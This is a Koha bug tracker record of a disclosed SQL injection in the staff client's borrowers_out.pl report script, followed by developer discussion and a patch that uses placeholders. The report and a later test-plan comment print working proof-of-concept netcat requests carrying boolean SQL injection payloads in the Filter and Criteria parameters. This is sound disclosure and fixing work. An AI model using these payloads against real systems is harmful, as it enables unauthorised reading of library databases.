Bug 14426 - SQL Injection in Staff Client
Summary: SQL Injection in Staff Client
Status: CLOSED FIXED
Alias: None
Product: Koha
Classification: Unclassified
Component: Staff Client (show other bugs)
Version: master
Hardware: All All
: P5 - low critical (vote)
Assignee: Bugs List
QA Contact: Testopia
URL:
Whiteboard:
Keywords:
Depends on:
Blocks: 15138
  Show dependency treegraph
 
Reported: 2015-06-19 17:12 UTC by Raschin Tavakoli
Modified: 2016-06-21 21:40 UTC (History)
10 users (show)

See Also:
Change sponsored?: ---
Patch complexity: Small patch
Bot Control: ---
When did the bot last check this:
Who signed the patch off:
Text to go in the release notes:


Attachments
Bug 14426 : SQL injection in borrowers_out.pl (16.67 KB, patch)
2015-06-22 07:47 UTC, Chris Cormack
Details | Diff | Splinter Review
Bug 14426: Escape or use placeholders for sql parameters (3.52 KB, patch)
2015-06-22 09:14 UTC, Jonathan Druart
Details | Diff | Splinter Review
Bug 14426: Escape or use placeholders for sql parameters (5.32 KB, patch)
2015-06-22 20:52 UTC, Chris Cormack
Details | Diff | Splinter Review
[PASSED QA] Bug 14426: Escape or use placeholders for sql parameters (5.39 KB, patch)
2015-06-22 22:11 UTC, Katrin Fischer
Details | Diff | Splinter Review

Note You need to log in before you can comment on or make changes to this bug.
Description Raschin Tavakoli 2015-06-19 17:12:34 UTC
An SQL Injection vulnerability exists in the following script: 

/cgi-bin/koha/reports/borrowers_out.pl 

It allows attacker's to read arbritrary data via the database.

This happens through improper user input validation of the parameters Filter and Criteria.


Brief demonstration:

====================================================================
1. "Criteria" Parameter, Payload: ELT(1=1,'evil') / ELT(1=2,'evil')
====================================================================

echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length: 186\r\n\r\nFilter=P_COM&Filter=&Limit=&output=file&basename=Export&MIME=CSV&sep=%3B&report_name=&do_it=1&userid=<username>&password=<password>&branch=&koha_login_context=intranet&Criteria=ELT(1=2,'evil')" | nc testbox 9002

echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length: 186\r\n\r\nFilter=P_COM&Filter=&Limit=&output=file&basename=Export&MIME=CSV&sep=%3B&report_name=&do_it=1&userid=<username>&password=<password>&branch=&koha_login_context=intranet&Criteria=ELT(1=1,'evil')" | nc testbox 9002

====================================================================
2. "Filter" Parameter, Payload: P_COM'+AND+'a'='a / P_COM'+AND+'a'='b
====================================================================

echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length: 183\r\n\r\nkoha_login_context=intranet&Limit=&Criteria=branchcode&output=file&basename=Export&MIME=CSV&sep=;&report_name=&do_it=1&userid=<userid>&password=<password>&branch=&Filter=P_COM'+AND+'a'='a" | nc testbox 9002

echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length: 183\r\n\r\nkoha_login_context=intranet&Limit=&Criteria=branchcode&output=file&basename=Export&MIME=CSV&sep=;&report_name=&do_it=1&userid=<userid>&password=<password>&branch=&Filter=P_COM'+AND+'a'='b" | nc testbox 9002

====================================================================

You will notice different output in every second request, demonstrating the evaluation of the payload.


Prevention: Always use parameterized sql 

---

Vulnerability Disclosure by Combinatorial Security Testing Group of SBA Research.
Contact: cst@sba-research.org
Comment 1 Chris Cormack 2015-06-20 00:21:45 UTC
Is this script used anymore? It needs a total rewrite to be made safe. I wonder if we can remove it instead?

The same information can be retrieved from the guided reports, without the sql injection problems. What do others think?
Comment 2 Liz Rea 2015-06-20 04:23:21 UTC
I suspect there are lots of libraries out there that use this script, it would be a pretty popular one for public libraries. 

Agree that we can get the same sort of data out of saved reports, but how best to make sure we don't lose the functionality in default Koha (aka "how do we not tick off the librarians")?
Comment 3 Chris Cormack 2015-06-20 04:29:30 UTC
I'm not opposed to keeping the functionality but this script is a massive mess. I doubt I'll have time to rewrite it before Monday. So I'll probably remove it from 3.20 unless someone fixes it before then.
Comment 4 Liz Rea 2015-06-20 04:41:36 UTC
Maybe remove it and add a DB update that inserts an equivalent saved report? Question is, how to help people find it...
Comment 5 Katrin Fischer 2015-06-20 11:08:03 UTC
I think this script is in the GUI as 'Patrons who haven't checked out'.
The way it presents the data in a matrix can't be replicated by the guided reports/sql reports afaik. But the question is still if it is necessary for this kind of question. 

There are already sql reports in the library for similar questions. But I would not add one as default by update I think - as we can't write one that totally works the same.
Comment 6 Katrin Fischer 2015-06-20 11:10:09 UTC
Hm missed Liz comments at first... guess it's still too early for bug comments.
Comment 7 Chris Cormack 2015-06-22 07:47:54 UTC Comment hidden (obsolete)
Comment 8 Jonathan Druart 2015-06-22 09:14:48 UTC Comment hidden (obsolete)
Comment 9 Jonathan Druart 2015-06-22 09:15:31 UTC
I think we have other reports having the same problem.
Not sure to remove them is the solution :)
Comment 10 Chris Cormack 2015-06-22 09:20:58 UTC
I knew if I did a patch to remove it, someone would do one to fix it. :)
Comment 11 Chris Cormack 2015-06-22 20:52:31 UTC Comment hidden (obsolete)
Comment 12 Katrin Fischer 2015-06-22 22:11:29 UTC
Created attachment 40502 [details] [review]
[PASSED QA] Bug 14426: Escape or use placeholders for sql parameters

Does this patch enough to prevent sql injection in borrowers_out.pl?

====================================================================
1. "Criteria" Parameter, Payload: ELT(1=1,'evil') / ELT(1=2,'evil')
====================================================================

echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl
HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length:
186\r\n\r\nFilter=P_COM&Filter=&Limit=&output=file&basename=Export&MIME=CSV&sep=%3B&report_name=&do_it=1&userid=<username>&password=<password>&branch=&koha_login_context=intranet&Criteria=ELT(1=2,'evil')"
| nc testbox 9002

echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl
HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length:
186\r\n\r\nFilter=P_COM&Filter=&Limit=&output=file&basename=Export&MIME=CSV&sep=%3B&report_name=&do_it=1&userid=<username>&password=<password>&branch=&koha_login_context=intranet&Criteria=ELT(1=1,'evil')"
| nc testbox 9002

====================================================================
2. "Filter" Parameter, Payload: P_COM'+AND+'a'='a / P_COM'+AND+'a'='b
====================================================================

echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl
HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length:
183\r\n\r\nkoha_login_context=intranet&Limit=&Criteria=branchcode&output=file&basename=Export&MIME=CSV&sep=;&report_name=&do_it=1&userid=<userid>&password=<password>&branch=&Filter=P_COM'+AND+'a'='a"
| nc testbox 9002

echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl
HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length:
183\r\n\r\nkoha_login_context=intranet&Limit=&Criteria=branchcode&output=file&basename=Export&MIME=CSV&sep=;&report_name=&do_it=1&userid=<userid>&password=<password>&branch=&Filter=P_COM'+AND+'a'='b"
| nc testbox 9002

====================================================================

Signed-off-by: Chris Cormack <chrisc@catalyst.net.nz>

Signed-off-by: Katrin Fischer <katrin.fischer.83@web.de>
Comment 13 Chris Cormack 2015-06-23 00:17:49 UTC
Pushed to 3.20.x will be in 3.20.1 (still needs to go into master too)
Comment 14 Liz Rea 2015-06-23 01:55:02 UTC
Pushed to 3.18.x will be in 3.18.08
Comment 15 Fridolin SOMERS 2015-06-23 12:26:48 UTC
Pushed to 3.14.x, will be in 3.14.16
Comment 16 Tomás Cohen Arazi 2015-06-23 13:21:39 UTC
Patch pushed to master.

Thanks Jonathan!
Comment 17 Mason James 2015-06-23 14:05:10 UTC
Pushed to 3.16.x, will be in 3.16.12